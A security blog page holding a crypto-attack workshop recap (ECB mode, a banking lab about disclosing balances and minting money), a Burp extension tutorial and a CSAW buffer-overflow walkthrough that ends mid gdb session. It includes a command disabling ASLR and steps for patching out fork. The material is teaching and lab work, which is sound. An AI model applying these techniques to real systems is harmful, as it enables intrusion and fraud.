Intro to Crypto Attacks – Part 2

This is the 2nd post in a recap of my “Intro to Crypto Attacks” workshop given at Bsides Seattle. In my previous post, I covered some background of the workshop session, linked to the files you’ll need for the exercises, and went over some core background you’ll use in the first challenge exercise.

Since the exercises are implemented as Azure Cloud Services (or you can deploy on your IIS server as a regular WCF service), you can interact with the services either by:

  • Using the WCF Test Client, which if you have Visual Studio should already be installed. On my system it’s in C:\Program Files (x86)\Microsoft Visual Studio X.X\Common7\IDE\WcfTestClient.exe.
  • Using SoapUI
  • Other useful tools include Burp Suite for its encoding/decoding functions as well as intruder (for automating an attack later if you’re not as experienced writing code) and a really simple, short python file I used during the workshop so that I wouldn’t have to type as much and could avoid typos.

    Part 2: ECB Mode

    Block ciphers divide the plaintext into blocks by block size N. By default, this block size is 128 bits (i.e., 16 characters). From here, what happens depends on the cipher mode. A look at the MSDN article shows several cipher mode options when using block ciphers in C#.

    What’s the default mode? With these AES classes, it’s actually Cipher Block Chaining (CBC). But, we’ll discuss and conduct attacks against CBC in a later exercise. For now, let’s take a look at the Electronic Codebook (ECB) mode. Though in C# you have to go out of your way to specify this mode, it’s the default mode in some other languages but not recommended since it exposes some vulnerabilities. That is, it can be dangerous to use in modern systems, considered insecure, and should be avoided. Take another look at the description above, it has an important note and everything. To understand the insecurity, let’s look at how it works.

    The plaintext is divided into the blocks, and together with the key, each block is individually encrypted. The application will typically return CiphertextBlock1 + CiphertextBlock2 + CiphertextBlockN as a concatenated result. Depending on the protocol transporting the ciphertext, if you’re looking at something going over the network, the ciphertext may be encoded in some manner (like Base64) to avoid having ciphertext characters accidentally modified or misinterpreted during transport, parsing, etc.

    We start by encrypting the letter A. This gives us the ciphertext of A with 15 padding bytes.

    Now let’s try 15 A’s, which will give back the ciphertext for 15 A’s and 1 padding byte, so the ciphertext lengths when encrypting 1 A or 15 A’s is the same (1 block).

    Next, we’ll encrypt 16 A’s. Our ciphertext increases by another block, because recall we need at least one byte of padding, and if our plaintext divides evenly by the block size, we’ll have a full block of padding.

    Let’s encrypt 64 “A”s and see what happens when we inspect the ciphertext. If we base64 decode the data and divide the resulting hex bytes into the block size… Notice a pattern?

    $ python
    Python 2.7.1 
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import crypto
    >>> crypto.decode("W/qVlI7fggiYQTdqTvoJUFv6lZSO34IImEE3ak76CVBb+pWUjt+CCJhBN2pO+glQW/qVlI7fggiYQTdqTvoJUJv3MwVDvIR/RmOyMw1Hu8c=")
    5bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09509bf7330543bc847f4663b2330d47bbc7
    >>> crypto.blocks("5bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09509bf7330543bc847f4663b2330d47bbc7")
    
    
    5bfa95948edf82089841376a4efa0950
    5bfa95948edf82089841376a4efa0950
    5bfa95948edf82089841376a4efa0950
    5bfa95948edf82089841376a4efa0950
    9bf7330543bc847f4663b2330d47bbc7
    
    
    >>> 
    

    We have 4 blocks of encrypted “A”s, and an encrypted padding block. If we try to encrypt 2 blocks of “A”s, a block of “B”s and another 2 blocks of “A”s, we learn that no matter where in the message they are, a full block of “A”s will always encrypt to “5bfa95948edf82089841376a4efa0950”.

    >>> print "A"*32 + "B"*16 + "A"*32 
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    <Got the base64 encoded ciphertext from the service>
    
    >>> crypto.decode("W/qVlI7fggiYQTdqTvoJUFv6lZSO34IImEE3ak76CVBUSdikF55w6Bx4nh8GNhNEW/qVlI7fggiYQTdqT" +
    ...     "voJUFv6lZSO34IImEE3ak76CVCb9zMFQ7yEf0ZjsjMNR7vH")
    5bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09505449d8a4179e70e81c789e1f063613445bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09509bf7330543bc847f4663b2330d47bbc7
    >>> crypto.blocks("5bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09505449d8a4179e70e81c789e1f063613445bfa95948edf82089841376a4efa09505bfa95948edf82089841376a4efa09509bf7330543bc847f4663b2330d47bbc7")
    
    
    5bfa95948edf82089841376a4efa0950
    5bfa95948edf82089841376a4efa0950
    5449d8a4179e70e81c789e1f06361344
    5bfa95948edf82089841376a4efa0950
    5bfa95948edf82089841376a4efa0950
    9bf7330543bc847f4663b2330d47bbc7
    
    
    >>> 
    

    Due to this behavior, we know we can systematically slice ciphertext blocks in and out, or rearrange them to attack the application. Where might we see implementations that actually use ECB mode? It looks like its the default mode in some things.

    In others, it’s the code example used to demonstrate how to encrypt something.

    To be fair, one of the user contributed notes mentions CBC mode (but I don’t see it there anymore).

    Then again, another suggests you can write your own encryption algorithm.

    Overall, many of the notes seem to suggest ECB mode for things like encrypting cookies; keep that in mind next time you’re conducting a security assessment against a web application.

    With that, let’s look at the first challenge exercise.

    Lab 1

    Objectives
    1) Disclose the balance of account number 14100305921007
    2) Open an account for yourself and give yourself $1,000,000

    The two objectives are not related. In fact, you can technically solve #2 without leveraging any crypto flaws. If you’ve stood up your target using the resources provided in the last post, you can start interacting with the service and learn how it works by opening an account in which you provide a clear text account name (or number, it’s equivalent) and get back the ciphertext, checking your balance in which you provide your encrypted account number, and closing an account in which you also provide your encrypted account number. The security of this banking application relies on the user not being able to encrypt values (existing account names/numbers) which have already been encrypted. The (important) code is also available in the Lab1 files you downloaded in Part 1, an interesting piece being:

    static byte[] EncryptStringToBytes(string plainText, byte[] Key)
            {
                byte[] encrypted;
                using (Rijndael rijAlg = Rijndael.Create())
                {
                    rijAlg.Key = Key;
                    rijAlg.Mode = CipherMode.ECB;
                    ICryptoTransform encryptor = rijAlg.CreateEncryptor(rijAlg.Key, Encoding.ASCII.GetBytes(""));
    
                    using (MemoryStream msEncrypt = new MemoryStream())
                    {
                        using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
                        {
                            using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
                            {
                                swEncrypt.Write(plainText);
                            }
                            encrypted = msEncrypt.ToArray();
                        }
                    }
                }
                return encrypted;
            }
    

    If you’re having trouble thinking through the attack, there are tons of articles on simple ECB mode attacks that might help you get started, like this one from 2007. One of the (free) “Introduction to Cryptography” course lectures on coursera.org also covers insecurities of ECB mode.

    Conclusion

    In the next post, I’ll step through the solution for this challenge and talk about attacks against CBC mode and kick off the next lab.

    Advertisements

    Intro to Crypto Attacks – Part 1

    I gave the “Intro to Crypto Attacks” workshop during Bsides Seattle and will do a little recap in a series of blog posts. Overall, the workshop aimed to cover some of the basics and background of crypto and its uses in applications. I didn’t focus on things like how AES worked or the mathematics supporting encryption, but instead on what you’re likely to see when pen testing an application or auditing code. The lab challenges then focused on some introductory-level (but practical) crypto attacks where attendees attempted to do things like disclose the balance of a targeted account number, open an account and give themselves $1,000,000, capture management secrets, and encrypt / decrypt data without knowing the key. In this blog post series, I’ll briefly summarize the workshop for those who missed it. I also received requests for the slides, but those aren’t very useful; I believe this is much better.

    The challenge exercises are written in C# and are designed as Windows Azure Cloud Services and make use of cloudy things like Azure’s blob storage. You could host everything on an IIS instance as a WCF service, but I hadn’t spent much time with Azure before and wanted to get a bit better at understanding how it works.

    If you don’t have an Azure account, you can get the free trial but note you’ll need a credit card for an identity proof. You can (like me) set a spending limit of $0 to make sure you don’t get charged when your free usage is exceeded, which is nice, but your instances will be suspended until the beginning of the next month if you reach that limit. If you’re unwilling / unable to use Azure, feel free to deploy on your own IIS server and hard code (or read from a file) anything that normally grabbed data from the cloud.

    Prior to digging into the material, I asked attendees to grab a resource file containing some of the service code for some spot-the-vuln style bug hunting as well as to understand what this stuff looks like in code. It also contains various other things that are useful or even necessary for some of the exercises. However, you won’t need any of that until Part 2. I’ve also uploaded the service code for you to build your own project with. I’ve sprinkled comments around the functions you’ll need to edit to basically hard code your own flags and values for things.

    Part 1: A Little Background

    Some developers know they should use AES over other options when it comes to encryption, but sometimes little else when it comes to the other specifics. There is also sometimes the misconception that because something is encrypted, it’s secure and all security considerations are complete. However, encryption provides confidentiality, not integrity; ciphertext is malleable. As security testers, we encounter crypto all the time and are expected to find vulnerabilities with implementations, which include network protocols, software products, and web applications / web services. We frequently encounter code that implements cryptographic functionality using standard APIs / libraries which are exposed in the forms of things like cookies, CSRF tokens, encrypted user data (on disk, in a URL..), encapsulated in (proprietary?) network protocol payloads you need to dissect, etc.

    The Bsides workshop focused on C# applications, so let’s take a (very) quick look at how I used the APIs, some default values, and some basics of the general concepts before getting into the offense. When developing an application in C# that uses crypto (we’ll limit ourselves to ~AES), you have several options in terms of AES/Rijndael classes to use, which at first might seem a little redundant.

    For brevity purposes, the gist is that Rijndael was the algorithm selected for the AES standard (so Rijndael is AES), but the AES standard does not allow for variable block sizes (so you can change the block size on a Rijndael object but not AES) nor feedback modes (your Rijndael object will offer more mode options). Class names ending with “Managed” will work across more platforms/versions, but are not FIPS certified. Class names ending in “CryptoServiceProvider” implement the algorithm natively and are FIPS certified implementations, but are less portable. There’s a registry setting / Windows security policy setting on systems that require FIPS compliance so if you try to use an AesManaged object in code running on systems requiring FIPS compliance, you’ll trigger an exception.

    Using the APIs requires a little working knowledge of basic cryptographic concepts, like:

    Encryption Keys:

    This is the secret that is used with the cipher to encrypt the plaintext. If Alice wants to send an encrypted message to Bob, she supplies the plaintext message and the key (K) to the encrypter function to get ciphertext, which is sent to Bob. E.g.: E(“I am a secret”, K); –> “\x72\xDA\x2B\x9C\xDF”. The same key is then used by Bob with the decrypter function: D(“\x72\xDA\x2B\x9C\xDF”, K); –> “I am a secret”. In AES, the key length is configurable (AES 128, AES 192, AES 256…). Consider the code below:

    What’s the default key size?

    Blocks:

    Since we’re working with block ciphers, our data needs to be divided into blocks (by the block size) so that the plaintext (or ciphertext) can be encrypted/decrypted block by block. For example, if our plaintext were “Hello Blocks”, and our block size were 8 bytes, it would be divided as follows:

    Note as placeholders after the plaintext I’ve put “?” marks. We’ll get to padding in a moment, just note for now that those bytes can’t be empty — something has to go there.

    Consider the code below:

    What’s the default block size?

    Therefore, remember that 16 A’s (or any character) passed to an application using this block size will fill up a block. Seriously. Or write it down.

    Initialization Vector

    Let’s say we have 3 messages for Alice to send to Bob. Message 1 and 3 are of the same plaintext. Though the key will provide confidentiality and a passive attacker will not know the plaintext value, there is no randomness involved so the ciphertexts will be equal:

    This gives away some information to attackers conducting passive analysis, maybe trying determine when a good time to replay some ciphertext may be. An initialization vector is a random value that is used as the first block to cause cipher texts of identical plain texts to be different. Consider the following code whereby our string “Secret” is encrypted 5 times using the same key and same IV:

    Our ciphertexts are identical.

    If we instead move the initialization of our AesManaged object inside the loop allowing the IV to be randomly generated on each iteration (and hard code the key so that it’s not randomly generated for us each time), we observe how the IV affects the ciphertext:


    Therefore, when using a random IV..:

    Padding

    Recall that when we split up our “Hello blocks” message into a 64 bit block size, we had a few bytes left over and that I said they couldn’t be empty.

    What actually goes in there is called padding, and what that padding consists of depends on the mode you use. Looking at the MSDN article, we have a few options:

    The default is PKCS7, and it’s pretty easy to understand. If you have one byte left over, your padding will be 0x1. If you have 3 bytes, your padding will be 0x3 0x3 0x3. Here’s a chart.

    The other padding modes are also fairly straight forward to understand. You might notice the option “None” and recall that I said bytes in a block can’t be empty. If you set your padding to “None” for the encryption, your plaintext must be perfectly divisible by the block size. If not, you’ll trigger a runtime exception when the encrypter tries to work with your data. The option for no padding is there because there are other modes you can use with Rijndael, some of which allow it to behave differently than a block cipher and don’t have a use for padding. Setting your padding to “None” on the decryption side of things will leave the padding bytes in your decrypted text if you’re interested in seeing what it actually looks like.

    Padding is automatically added and removed based on the padding mode you specify.

    Something to remember: If by chance your plaintext perfectly divides into the block size, you’d think you’d need no padding. Actually, the rule is you need at least one byte of padding. If your plaintext perfectly fills up one block, you will have a full block of padding. E.g., if our plaintext is 16 A’s (considering the default block size), we will have two blocks. First block would be the ciphertext representing those 16 A’s, and the second block would be the ciphertext representing 16 “0x10″s (16 in hex).

    XOR

    Exclusive Or (XOR) can be summarized with a truth table:

    And it is commonly represented by this symbol:

    When comparing two bits, if they are the same (0,0 or 1,1) you will get a 0 (false). If they are different (1,0 or 0,1) you will get a 1 (true). XOR is extremely useful for crypto as it allows you to use any 2/3 of a series of bits to recover the missing 1/3.

    Conclusion

    The next post will cover a bit about one of the block cipher modes and some vulnerabilities associated with it, along with our first exercise.

    Working with the Burp Extension Framework

    Some friends[1][2] of mine talked about their Burp extension framework at bSides a while back, so I wanted to give it a spin. It uses David Robert’s python binding for Burp and it seems to work very well.

    One problem with extending Burp is that it can get troublesome trying to run various extensions at once, especially if you get them from different authors; it’s not guaranteed extensions won’t conflict and step all over each other (guaranteed they kinda will). This framework, however, let’s you write your extensions which will be organized into a separate window when Burp is run, allowing you to write event driven extensions and user others’ as well by placing them in your /extensions/ directory.

    To follow along, go ahead and grab the framework. Once downloaded, you’ll need to update the burp_extended.sh or burp_extended.bat with the name / version / path of Burp you’ll be using. By default, the script refers to it as burp.jar. You’re pretty much all set to try out the framework if you want, or change directories into Lib/extensions/ to begin writing your own.

    For my try-out extension, the problem I want to solve is finding out if (1) there is a different version of the target application based on whether I access it from a mobile device and (2) how different those versions might be from one another. The idea is that different site / application versions may have been developed by different devs (or possibly a third party) to be served based on the type of device making the request to the server. The level of security for these various versions may not be uniform by any means; maybe one dev team was uneducated with respect to app sec. This extension will receive a variable number of URLs that I will highlight in the Target tab, make a number of requests for each one with N User Agent strings, and give us some information about the differences so that we can make a decision about whether we should take a closer look.

    Extensions live in the /Lib/extensions directory, so this is where we’ll create our MobileVersionChecker.py. As stated in the framework documentation, we’ll start off by importing the libraries we’ll need to interact with Burp as well as the extension framework and creating the basic classes and functions.

    from burp import IMenuItemHandler
    from burp import IBurpExtenderCallbacks
    from Extension import Extension
    
    class MobileVersionChecker(Extension):
            INFO = {
                            'Name'          :       'Mobile Version Checker',
                            'Usage'         :       '…usage info here...',
                            'Author'        :       'hackeroutfit.com'
            }
    
            def finishedLaunching(self):
                    self.getCallBacks().registerMenuItem("Extension: Mobile Version Checker", MenuHandler(self))
    
    
    
    class MenuHandler(IMenuItemHandler):
    
            def __init__(self, parent):
                    self.parent = parent
                    for key in ["Name", "Usage", "Author"]:
                            self.parent.printLogTab("%s: %s\n" % (key, self.parent.INFO[key]))
                    self.parent.printLogTab("-"*20 + "\n")
    
            def menuItemClicked(self, menuItemCaption, messageInfo):
                    self.parent.printLogTab("I do nothing!\n")
    
    
    

    Now we can test this out in Burp. If we start the burp_extender.sh (or .bat) and we see a GUI window with a graphic of a girl throwing up, that means our extension had no errors. Else, if only the Burp window comes up without the extension framework window, take a look either in the Alerts tab in Burp or in your terminal for details of what the error may be. If we populate the Target window a little and right click on a URL, our extension shows up in the context menu. Clicking on it executes our printLogTab(“I do nothing\n”).

    Time to add to some meaningful code to our primary menuItemClicked function. If we make code changes to our extension, they won’t be testable until after we restart Burp. [Might be a good feature request to be able to ‘refresh’ extensions]. When you close Burp, close the main window and not the extension window, else none of the cleanup or code in any applicationClosing function you may have written will get run.

    Our pseudo code for the meat of the extension will be to:
    1) Define a list of User Agents to test with (should be in something easy to manage and change like a file, but for this example we’ll just hard code).
    2) Get the list URL(s) that our extension is called with.
    3) For each URL, for each User Agent, issue a web request with that User Agent.
    4) Store something about the response we can use to compare with, we’ll choose the length.

    Originally, I had planned to send each response to the Burp Comparer. Unfortunately, that’s not supported yet (even though you can send to intruder or repeater) so we’ll make due in this example extension with the inspection of the response length to determine if it’s “different enough”.

    Since we’ll be making HTTP requests with each User Agent, we may as well use the IBurpExtenderCallbacks makeHttpRequest method to do this. As the documentation indicates, this method requires at least 4 arguments: the (string) hostname, (int) port, (boolean) whether to use HTTPS, and (byte array) request. We’ll need to do 2 things: (1) to access the parent’s methods (IBurpExtenderCallbacks) we’ll create a local variable called mCallBacks set to self.parent.getCallBacks(). (2) For each URL passed to the extension, we’ll need to grab the hostname, port, and whether SSL is being used since web servers can be on any port. The list of URLs is passed in the messageInfo parameter, so we’ll store the length to iterate through later.

            def menuItemClicked(self, menuItemCaption, messageInfo):
                    msglen = len(messageInfo)
                    mCallBacks = self.parent.getCallBacks()
    
    
    

    As I mentioned, you should read the User Agent (I’ll sometimes abbreviate as UA) strings from something like a file, or anything easier to manage, but for example purposes I’m just going to hard code them. The first UA is for a desktop browser, which we’ll use as our “control” to compare against whatever we get from the mobile device UAs. We then have a non-comprehensive list including an iPhone, iPad, Droid, and 2 Windows phone UA strings.

            def menuItemClicked(self, menuItemCaption, messageInfo):
    
                    msglen = len(messageInfo)
                    mCallBacks = self.parent.getCallBacks()
    
    	    # We will issue a web request using the following user agents.  The first UA is for a desktop browser we'll use as a control value
                    UserAgents = [
                            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:16.0) Gecko/20100101 Firefox/16.0"
                            "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3",
                            "Mozilla/5.0 (iPad; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3",
                            "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
                            "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; SAMSUNG; SGH-i917)",
                            "Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920)"]
    
                    httpRequestString = "GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\n\r\n"
    
    

    While we’re at it, we’ve also defined our standard GET request we’ll use. The URI, hostname, and User-Agent are format string placeholders since they’ll be dynamic based on whatever information we get from the list of URLs that call this extension as well as whatever User Agent we’re currently iterating through. We then start our iteration over the URLs and get the information we’ll need for our HTTP requests. The doc covers all of the methods you can call against the IHttpRequestResponse interface beyond those shown below.

    
            def menuItemClicked(self, menuItemCaption, messageInfo):
    
    	    …
      	    …
    
                    for m in range(msglen):
                            port = int(messageInfo[m].getPort())
                            host = messageInfo[m].getHost()
                            ssl = True if messageInfo[m].getProtocol() == 'https' else False
    
    

    We can also build the URI by looking at the value of .getPath() and .getQuery():

    
                            if messageInfo[m].getUrl().getPath() is not None:
                              resource = messageInfo[m].getUrl().getPath()
                            else:
                              resource = "/"
                            if messageInfo[m].getUrl().getQuery() is not None:
                              resource = resource + "?" + messageInfo[m].getUrl().getQuery()
    
    

    We now have enough information to build our HTTP requests. However, note that the documentation indicates the request body needs to be a byte array, so let’s add in a function that’ll perform the conversion for us; provide a string, get the corresponding byte array. The code in the GoogleSiteIndex extension does something similar:

    import StringIO
    
    …
    …
    …
    
            def GetRequestBytes(self, request):
                    requestString = StringIO()
                    requestString.write(request)
                    rbytes = map(lambda x: ord(x), requestString.getvalue())
                    return rbytes
    
    

    Now we can issue our requests for each User Agent and print the length of the response to the Log window:

                    for m in range(msglen):
    
                            port = int(messageInfo[m].getPort())
                            host = messageInfo[m].getHost()
                            ssl = True if messageInfo[m].getProtocol() == 'https' else False
                            
                            if messageInfo[m].getUrl().getPath() is not None:
                              resource = messageInfo[m].getUrl().getPath()
                            else:
                              resource = "/"
                            if messageInfo[m].getUrl().getQuery() is not None:
                              resource = resource + "?" + messageInfo[m].getUrl().getQuery()
                            
                            self.parent.printLogTab("Making requests\n")
                            for ua in UserAgents:
                                    httpRequest = self.GetRequestBytes(httpRequestString % (resource, host, ua))
                                    httpResponse = mCallBacks.makeHttpRequest(host, port, ssl, httpRequest)
                                    self.parent.printLogTab(ua + "\n")
                                    self.parent.printLogTab("Response Length: ")
                                    self.parent.printLogTab(str(len(httpResponse)) + "\n")
    
    

    The result:

    At this point, you could call the doActiveScan() method on each request, but it’d be nice to have a good way to compare the responses first. In the mean time, we can accomplish that goal without using any extensions with an overly manual process using Intruder. For every URL you’re interested in, send it to intruder, specify position boundaries with the § symbol around the User Agent string, load your User Agent list from a text file, and run the attack. You can then send all of the responses to the Comparer to inspect the differences against your baseline UA (or each other). This approach may be viable for a small number of URLs and lets you leverage the power of Comparer, but gets unruly quickly if you want to check many pages on many sites during a pentest. Hopefully as extension support continues to increase, the extensions we can build will be more powerful.

    The code for the extension in this blog post is here: MobileVersionChecker.py.

    聊天 – CSAW Exploitation 300

    This challenge covers many of the basics involved in reverse engineering and exploit development, so I think it’s a great candidate to walk step-by-step through service exploitation with the assumption you know the concepts but may be inexperienced in the tooling.

    We can start the service, then run netstat to see it listens on tcp 4842, but it doesn’t look like we can interact with it very much without figuring out what kind of requirements it has.

    root@bt:~/Desktop/csaw_2012/300# ./2012_csawexp300 &
    [1] 3046
    root@bt:~/Desktop/csaw_2012/300# netstat -pantu
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      2985/sshd       
    tcp        0      0 127.0.0.1:7337          0.0.0.0:*               LISTEN      937/postgres    
    tcp        0      0 0.0.0.0:4842            0.0.0.0:*               LISTEN      3046/2012_csawexp30
    tcp        0      0 10.81.154.50:22         10.81.152.113:58183     ESTABLISHED 2987/4          
    tcp        0      0 127.0.0.1:4842          127.0.0.1:34863         TIME_WAIT   -               
    tcp6       0      0 :::22                   :::*                    LISTEN      2985/sshd       
    tcp6       0      0 ::1:7337                :::*                    LISTEN      937/postgres    
    udp        0      0 0.0.0.0:68              0.0.0.0:*                           1105/dhclient3  
    udp6       0      0 ::1:36573               ::1:36573               ESTABLISHED 937/postgres    
    root@bt:~/Desktop/csaw_2012/300# nc localhost 4842
    连接接受。
    无法获取用户密码输入: liaotian.
    root@bt:~/Desktop/csaw_2012/300#
    

    Also, don’t forget to disable ASLR.

    
    root@bt:~/Desktop/csaw_2012/300# echo '0' > /proc/sys/kernel/randomize_va_space 
    
    

    At the moment, we’re not sure what the service is supposed to do or how to run it properly, so we’ll reverse it a bit to learn how it works. If you’re reversing with IDA, when you open the ELF file, you’re dropped into the program’s entry point.

    Getting to main is accomplished by double clicking the function (sub_804884F) in the push instruction prior to the call to libc_start_main. It’s a good idea to rename (with ‘n’) any function whose purpose you learn as you go to make navigation easier and to keep track of what you’ve already looked at.

    Inside of main we have a few calls to some other functions, it turns out for this binary, only the first function is important to us. The rest just set up service’s connection handling, etc., and since we already know what port is listens on, we don’t need to investigate these functions further.

    Stepping into the first function that is called (double click sub_8048A3D), we see code that just sets up various signals. Whenever I encounter any libc function that I don’t remember the specifics of, it’s always useful to take a look at the man page to be reminded of what parameters it expects.

    root@bt:~/Desktop/csaw_2012/300# man signal 7
    
    --------------
    
    SIGNAL(2)                                                  Linux Programmer's Manual                                                  SIGNAL(2)
    
    NAME
           signal - ANSI C signal handling
    
    SYNOPSIS
           #include <signal.h>
    
           typedef void (*sighandler_t)(int);
    
           sighandler_t signal(int signum, sighandler_t handler);
    
    DESCRIPTION
           The  behavior  of  signal() varies across Unix versions, and has also varied historically across different versions of Linux.  Avoid its
           use: use sigaction(2) instead.  See Portability below.
    
           signal() sets the disposition of the signal signum to handler, which is either SIG_IGN, SIG_DFL, or the address of a  programmer-defined
           function (a "signal handler").
    

    Signal takes two arguments, a number and a handler. Looking at our disassembly, 3 signals are set up. Since signals will be raised by signums which may not be easy to remember, it might be useful to keep track of signum/function mappings for programs that have many.

    Analyzing the first handler (sub_8048834), we see it simply prints a message then calls exit.

    This probably won’t be critical for our purposes; if we see this signal being raised, we probably did something wrong and caused the program to terminate. (Note, IDA won’t display Chinese characters correctly without installing an add-on or using one of the more recent pro versions.) Hitting <Esc> takes us back to where we were with the signals, and diving into the next handler (sub_804898C) shows a more interesting function.

    The string “liaotian” is set as the argument to sub_8048BC0, and analyzing that function shows calls to getpwnam, setgroups, setgid, setuid, seteuid, setegid, and chdir. This function is just setting the service up to run under the liaotian user, which is why we weren’t able to run it before. After creating the liaotian user, we can use the service.

    root@bt:~/Desktop/csaw_2012/300# ./2012_csawexp300 &
    [1] 3204
    root@bt:~/Desktop/csaw_2012/300# nc localhost 4842
    连接接受。
    这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.
    信号读取。
    

    Despite the hint in the Chinese message above that this contains an overflow, we saw a fork earlier in our disassembly, so we won’t notice a crash in the service if we start sending it data now. Jumping back to IDA, if we look at the next function call after the service is set up (sub_80488E0), we see the code for the service’s response we just observed while connecting to it.

    After sending us some string, the signal (signum 1Fh) is raised. Hitting <Esc> twice in IDA (or clicking on the signal setup function if you’ve been diligent in renaming your functions as you learn what they do), will take us back to the signal area and we see signum 1Fh refers to the third signal handler.

    The function sub_80488C8 calls another function sub_804889E which uses read().

    root@bt:~/Desktop/csaw_2012/300# man read 7
    
    ----------
    
    READ(2)                                         Linux Programmer's Manual                                        READ(2)
    
    NAME
           read - read from a file descriptor
    
    SYNOPSIS
           #include <unistd.h>
    
           ssize_t read(int fd, void *buf, size_t count);
    
    DESCRIPTION
           read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.
    
           If  count  is zero, read() returns zero and has no other results.  If count is greater than SSIZE_MAX, the result
           is unspecified.
    
    

    So read() will copy N bytes from a file descriptor (which is a socket in our case) into a destination buffer. According to IDA, 348 bytes (15Ch) are allocated on the stack for local variables (like dest_buffer), and 2048 bytes are read from the socket, so we have a buffer overflow.

    Now that we know what our attack needs to do, we can make debugging the exploit we’re about to write easier by removing the call to fork from the service. (# man fork 7)

    If you click on any instruction, IDA displays the the offset in the file in the lower left corner.

    By opening the binary in a hex editor and going to the offset, we can NOP out the three outlined instructions instructions, starting at offset 99B. If we were to only NOP out the call to fork, the “test eax, eax” immediately after would always fail. I used HxD (Hexedit) on Windows, but if you’re in backtrack, ‘bless’ is a good choice that does basically the same thing. In HxD, use the CTRL + G shortcut to go to an offset and enter 99B, which we got from IDA which will take us to the call to fork. 0xE8 is the opcode for ‘call’.

    Instructions in relation to number of opcodes varies, so to make sure we don’t NOP too few or too many opcodes, we could either look up the offsets in IDA for each instruction up to the mov instruction following our target area, or figure out what the opcodes look like using something like metasploit’s nasm_shell.rb. Else, we could find the opcodes just using Google/Bing/Ask Jeeves.

    root@bt:/opt/metasploit/apps/pro/msf3/tools# ./nasm_shell.rb 
    nasm > call 0xffffffff
    00000000  E8FAFFFFFF        call dword 0xffffffff
    nasm > test eax, eax
    00000000  85C0              test eax,eax
    nasm > 
    

    Make the changes by writing NOPs (0x90) over these instructions and save the image (I named it nofork-2012_csawexp300).

    Opening the new image in IDA confirms our edit. But note that you’ll need to reanalyze the file to see these changes since IDA’s db will still show the old instructions otherwise.

    Before we finish with IDA, let’s also take note of the address where the read() is performed. We’ll save that for later when debugging our exploit. Recall that clicking an instruction will give us the offset in the file, but IDA will also give us virtual address in the area to the right of where the offset is displayed. The address we’re interested in (080488BC).

    Observing a triggered segfault is now pretty easy. The rest of the process is now exploit development.

    Let’s start our service in GDB and see what happens when we connect to it and send it our overflow payload of “A”s.

    Since GDB will alert us whenever the signals are raised, just type ‘c’ to continue.

    If we set our breakpoint in GDB with the address of the read, we can take a look at the memory before the crash. Use the ‘nexti’ command to go to the next instruction and examine memory again to find our “A”s (0x41) and see where in memory our payload is.

    (gdb) break *0x80488BC
    Breakpoint 1 at 0x80488bc
    (gdb) r
    Starting program: /root/Desktop/csaw_2012/300/nofork-2012_csawexp300 
    warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).
    
    
    Program received signal SIGUSR1, User defined signal 1.
    0xf7fdf430 in __kernel_vsyscall ()
    (gdb) c
    Continuing.
    连接接受。
    
    Program received signal SIGSYS, Bad system call.
    0xf7fdf430 in __kernel_vsyscall ()
    (gdb) c
    Continuing.
    信号读取。
    
    Breakpoint 1, 0x080488bc in ?? ()
    (gdb) x/150x $esp
    0xffffc900:	0x00000006	0xffffc916	0x00000800	0x00000000
    0xffffc910:	0x00000000	0x00000000	0x00009528	0x00009528
    0xffffc920:	0x00000005	0x00001000	0x00000001	0x00009ee8
    0xffffc930:	0x0000aee8	0x0000aee8	0x000001cc	0x000003e4
    0xffffc940:	0x00000006	0x00001000	0x00000002	0x00009efc
    0xffffc950:	0x0000aefc	0x0000aefc	0x000000e0	0x000000e0
    0xffffc960:	0x00000006	0x00000004	0x00000004	0x00000134
    0xffffc970:	0x00000134	0x00000134	0x00000044	0x00000044
    0xffffc980:	0xffffc9b8	0x00000010	0xf7fdc000	0xf7f26f93
    0xffffc990:	0xf7fbcff4	0xf7ecee64	0x00000001	0xf7fdc000
    0xffffc9a0:	0x00000010	0xf7fbd4e0	0xffffffff	0xffffffff
    0xffffc9b0:	0xf7fbd4e0	0xf7fdc000	0xffffc9e4	0xf7eceaef
    0xffffc9c0:	0xf7fbd4e0	0xf7fdc000	0x00000010	0x00000014
    0xffffc9d0:	0x00000003	0x00554e47	0xf7fbcff4	0x00000010
    0xffffc9e0:	0x0000000f	0xffffc9f4	0xf7ecee06	0x00000010
    0xffffc9f0:	0xf7fbd4e0	0xffffca18	0xf7ecf928	0xf7fbd4e0
    0xffffca00:	0xf7fdc000	0x00000010	0x0000000a	0xf7fbcff4
    0xffffca10:	0xf7fbd4e0	0x0000000f	0xffffca30	0xf7ed209a
